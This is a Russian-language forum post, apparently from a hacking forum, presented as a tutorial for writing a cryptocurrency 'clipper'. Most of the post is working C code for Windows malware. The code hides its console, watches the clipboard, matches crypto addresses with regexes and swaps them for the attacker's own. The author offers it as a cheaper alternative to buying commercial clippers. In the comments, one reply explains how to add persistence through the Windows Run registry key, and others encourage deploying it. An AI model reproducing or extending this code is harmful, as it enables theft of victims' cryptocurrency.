Загрузка...
Author's article Clipper in 30 minutes or why you should not buy clippers
  1. jgsjagejwgjwf
    Заранее говорю - в этой статье не будет разбора продукта, я лишь расскажу о ситуации с клипперами в наше время и почему не стоит брать готовые клипперы.
    На рынок выходит новый продукт - Allcome. Стоимость - 25$/месяц, 220$/навсегда.
    По словам ТС, клиппер написан на C++ с использованием STL.
    [IMG] 

    [IMG] 
    Я не буду говорить о том, что продукт хороший или плохой, так как не использовал его и не могу заявлять что-либо. Скажу лишь о том, что судя по отзывам (25 отзывов за 3 недели), продажи у продукта идут очень даже хорошо. А теперь покажу, что задача написания своего клиппера не так сложна и это смогут сделать многие люди, особенно имевшие дело с копипастом исходников в открытом доступе.
    Для начала:

    Как устроен клиппер

    Давайте разберемся, что вообще есть клиппер. Клиппер - вредоносная программа, заменяющая криптоадреса в буфере обмена на адреса злоумышленника, дабы жертва во время отправки монет отправила их к злоумышленнику.
    По этому описанию накидываем схему работы:
    [IMG] 
    Выглядит достаточно просто. Разбираем каждый блок -
    Получение и подмена буфера обмена может быть реализована через любую библиотеку, работающую с winapi на любом языке.
    Как же проверять, является ли текст адресом?
    Ответ - регулярные выражения (regex). Что это?
    Википедия: 
    Регулярные выражения (англ. regular expressions) — используемый в компьютерных программах, работающих с текстом, формальный язык поиска и осуществления манипуляций с подстроками в тексте, основанный на использовании метасимволов (символов-джокеровангл. wildcard characters). Для поиска используется строка-образец (англ. pattern, по-русски её часто называют «шаблоном», «маской»), состоящая из символов и метасимволов и задающая правило поиска. Для манипуляций с текстом дополнительно задаётся строка замены, которая также может содержать в себе специальные символы.
    Для чайников - регулярные выражения это формальный язык, благодаря которому можно проверять соответствие текста определенным критериям - длина, набор букв и так далее.
    Почитать подробнее о них можно здесь. Проверка на соответствие происходит по паттернам (англ. pattern, у нас обычно используется термин "шаблон"). Паттерны можно спокойно найти в интернете по запросу "*крипта* address regex".
    Теперь я покажу на своем примере, что написать свой клиппер значительно проще, чем вы думаете.

    Написание клиппера

    Я буду писать на C, его можно написать хоть на питоне, но не рекомендуется.
    Создаем проект в Visual Studio, в нем создаем главный файл, я назвал его main.c.

    Так как в стандартной библиотеке C нет библиотеки для регулярок, я буду использовать до невозможности сырую, но единственную и компактную библиотеку tiny-regex-c. Скачиваем re.c и re.h, импортируем их в проект.

    Импортируем нужные библиотеки в main.c и скрываем консоль через ключевые слова для компилятора (pragma):
    Code
    #include "re.h"
    #include <windows.h>
    #pragma comment(linker, "/SUBSYSTEM:windows /ENTRY:mainCRTStartup")
    Пишем функции для получения и подмены буфера обмена:

    Code
    char* getclipboard()
    {
        static HANDLE clip;
        if (OpenClipboard(NULL))
        {
            clip = GetClipboardData(CF_TEXT);
            CloseClipboard();
        }
        return (char*)clip;
    }

    void setclipboard(char* text)
    {
        HGLOBAL global = GlobalAlloc(GMEM_FIXED, strlen(text) + 1);
        memcpy(global, text, strlen(text));
        if (OpenClipboard(NULL))
        {
            EmptyClipboard();
            SetClipboardData(CF_TEXT, global);
            CloseClipboard();
        }
    }
    Создаем структуру для кошельков, она позволит без сложностей добавлять новые кошельки в клиппер (а с помощью регулярок, можно будет добавить хоть подмену ссылок оплаты).

    Code
    typedef struct crypto {
        char* ptn;
        char* address;
    };
    Основная функция main. Создаем в ней переменные с нашими кошельками:

    Code
    const char* btcadr = "";
        const char* segwitadr = "";
        const char* ethadr = "";
        const char* ltcadr = "";
        const char* xrpadr = "";
        const char* dogeadr = "";
    Создаем структуры для кошельков и объединяем их в один список. Переменная ptn - паттерн regex, переменная address - адрес, который будет подменяться.
    У меня будет 5 криптовалют - Bitcoin (+SegWit адреса (bc1q)), Ethereum, Litecoin, Ripple, Dogecoin.

    Code
        struct crypto btc = { .ptn = "^[13][a-km-zA-HJ-NP-Z1-9]*$",                .address = btcadr }; // фиксированная длина не поддерживается в tiny regex
        struct crypto segwit = { .ptn = "^bc1q[a-zA-HJ-NP-Z0-9]*$",                .address = segwitadr }; // на p2pkh и p2wpkh разные регулярки, так как изменение легаси адреса на сегвит (bc1q) будет заметно
        struct crypto eth = { .ptn = "^0x[a-fA-F0-9]*$",                        .address = ethadr };
        struct crypto ltc = { .ptn = "^[LM3][a-km-zA-HJ-NP-Z1-9]*$",            .address = ltcadr };
        struct crypto xrp = { .ptn = "^r[0-9a-zA-Z]*$",                            .address = xrpadr };
        struct crypto doge = { .ptn = "^D[5-9A-HJ-NP-U][1-9A-HJ-NP-Za-km-z]*$",    .address = dogeadr };


        struct crypto all[6] = { btc, segwit, eth, ltc, xrp, doge }; // где 6 - количество сервисов
    В регулярных выражениях стоит нефиксированное (*) число повторов. Это не так безопасно, так как, скажем, текст 1abc подойдет по регулярке и будет подменен. Используется из-за того, что в tiny-regex-c нельзя прописать фиксированное количество повторов, во всех языках где это поддерживается, призываю ставить фиксированное количество повторов, соответствующее типу адреса.
    Основной цикл:

    Code
        while (1) {
            char* clipdata = getclipboard(); // получение буфера обмена
            if (clipdata != NULL) { // если в буфере что-то есть
                for (int i = 0; i < 6; i++) { // цикл из всех типов кошельков, где 6 - количество сервисов
                    int matchlen;
                    int match = re_match(all[i].ptn, clipdata, &matchlen); // проверка, является ли текст в буфере соответствующим адресом
                    if (match != -1) { // если является, подмена буфера обмена на заданный в коде адрес
                        setclipboard(all[i].address);
                    }
                }
            }
            Sleep(50); // чтобы не грузило проц, после каждой проверки сон на 0.05 сек
        }
    В комментариях прописал, за что отвечает каждая команда.

    На написание этого клиппера у меня ушло ~полчаса. Всего 65 строк, итоговый стаб весит 12.5кб.
    Добавлять подмену других адресов по регулярке можно таким же образом, как добавлены кошельки выше. Отправку информации о ПК и прочую херню может впаять любой желающий, при наличии гугла.
    Исходники - тык

    Итоги
    Написать свой клиппер может любой желающий, для людей, не умеющих в кодинг в интернете лежит множество исходников, благодаря которым затраты на не очень добросовестных кодеров сокращаются в разы.
    С самописным клиппером вы будете уверены, что ничего левого не запускается и подмена идёт именно на ваш адрес. Вы сможете добавить/поменять что угодно в любой момент. Ваш клиппер будет исключительно ваш и исключительно в ваших руках.
    Спасибо за прочтение.
     

Comments

    1. zircly
      zircly Dec 14, 2021 5 Dec 5, 2021
      Как-же хорошо, что лень простых обывателей позволяет кому-то зарабатывать на таком простом продукте как клиппер, который уже давно себя изжил и более не является актуальным. Благодарю за статью, ничего нового лично для себя не узнал, но ещё раз убедился в том, что люди ленивы и даже при наличии аргументов в пользу работы с собственным продуктом — будут покупать оверпрайснутую хрень из-за своей лени.
       
    2. Agent009_inactive4741639
      Спасибо за полезную инфу, узнал много нового
       
    3. ТВИКЕР
      Спасибо
       
    4. Valuev
      Valuev Dec 14, 2021 1 Dec 12, 2021
      за С респект
       
    5. EasyLiker
      EasyLiker Dec 15, 2021 everything changes 11,954 Sep 18, 2020
      Убил все продажи чела одной статьёй..
       
    6. mom12345
      mom12345 Dec 16, 2021 научу: мыслить через квантовое измерение 31 Dec 14, 2021
      Полезная статья, как минимум для обновления софта, ибо большинство паблик сорсов уже давно палятся ав, не отрицаю вероятность того,что данные алгоритмы\ исходники уже тоже поддавались реверсу, но база для начинающих кодеров хорошая. БЫЛО бы круто, если почаще такие статьи ****али))
       
    7. DI3FORME
      DI3FORME Dec 18, 2021 418 Aug 2, 2020
      Ещё бы автозагрузку и будет замечательно
       
      1. Replacer
        DI3FORME, дык добавить ее не проблема, просто тяни за собой RegCreateKeyExW, RegSetValueExW и RegCloseKey и добавляй бинарь в ключ Software\\Microsoft\\Windows\\CurrentVersion\\Run
    8. SMSPRO_inactive4792155
      Автор, спасибо за такую полезную инфу, много нового узнал для себя:claps::finger_up:
       
    9. Stmrti
      Stmrti Dec 24, 2021 8854 Sep 28, 2021
      Годно, спасибо
       
    10. Павший
      Павший Dec 24, 2021 Статус/Аватарка/Закреп - продаются, подробнее - тг 5200 Sep 1, 2020
      Я же надеюсь статья написана для образовательной деятельности и защиты от мошенников? Мы же не на каком-то черном форуме сидим :povezlo:
       
    11. Gion_inactive4823387
      Gion_inactive4823387 Dec 25, 2021 Banned 81 Dec 22, 2021
      Респект, немного дописать для других валют и в бой
       
    12. adnr3vv
      adnr3vv Dec 25, 2021 1 Dec 24, 2021
    13. Tifo
      Tifo Dec 30, 2021 3 Sep 5, 2021
      :PepeOK:
      The post was merged to previous Dec 30, 2021
      :PepeOK:
       
    14. Danila2074
      Danila2074 Dec 30, 2021 5 Sep 26, 2018
      гений:fallout_cool:
       
    15. none4noone
      none4noone Dec 31, 2021 ... 625 Apr 20, 2020
      Красиво и чётко, а самое главное по делу. Автору.+rep
       
    16. миротворец
      миротворец Jan 3, 2022 курди ра 5378 Nov 2, 2021
      Лайк однозначно, +rep
       
    17. qewsar1
      qewsar1 Jan 4, 2022 Banned 0 Jan 4, 2022
      интересненько
       
    18. alekse_yb
      alekse_yb Feb 9, 2022 2 Feb 9, 2022
      могу написать клиппер за 20 минут
       
      1. 9mice
    19. lonely_femboy
      lonely_femboy Feb 9, 2022 сыграй мне реквием 228 Feb 21, 2020
      Могу продать 20+ регулярок на адреса, писать в телегу t.me/temnij52
       
      1. wDude
        lonely_femboy, ахуенный бизнесгейт, продавать регулярки :jerry:
      2. backdoortp
      3. HideCode
        lonely_femboy, ахахахахахахахахаахахахахахахахахаахахахахахахахахаахахахахахахахахаахахахахахахахахаахахахахахахахахаахахахахахахахахаахахахахахахахахаахахахахахахахахаахахахахахахахахаахахахахахахахахаахахахахахахахахаахахахахахахахахаахахахахахахахахаахахахахахахахахаахахахахахахахахаахахахахахахахахаахахахахахахахахаахахахахахахахахаахахахахахахахаха
    20. whoiswho219
      whoiswho219 Feb 11, 2022 Banned 0 Jan 10, 2022
Loading...
Top